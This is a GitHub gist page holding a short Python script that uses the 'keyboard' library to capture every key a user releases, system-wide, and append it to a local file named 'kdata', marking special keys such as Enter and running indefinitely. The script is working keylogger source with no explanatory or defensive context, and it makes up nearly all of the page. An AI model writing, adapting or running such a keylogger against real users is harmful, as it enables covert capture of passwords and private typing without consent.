Skip to content

Instantly share code, notes, and snippets.

@paulera
Created April 2, 2020 15:33
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save paulera/7ce75008e713eef5cf23a769e57ec36c to your computer and use it in GitHub Desktop.
Save paulera/7ce75008e713eef5cf23a769e57ec36c to your computer and use it in GitHub Desktop.
import keyboard
a = open("kdata","a+")
def b(event):
b = event.name
if len(b) > 1:
if b == "space":
b = " "
elif b == "enter":
b = "[ENTER]\n"
elif b == "decimal":
b = "."
else:
# replace spaces with underscores
b = b.replace(" ", "_")
b = f"[{b.upper()}]"
a.write(b)
a.flush()
keyboard.on_release(callback=b)
while True:
keyboard.wait()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment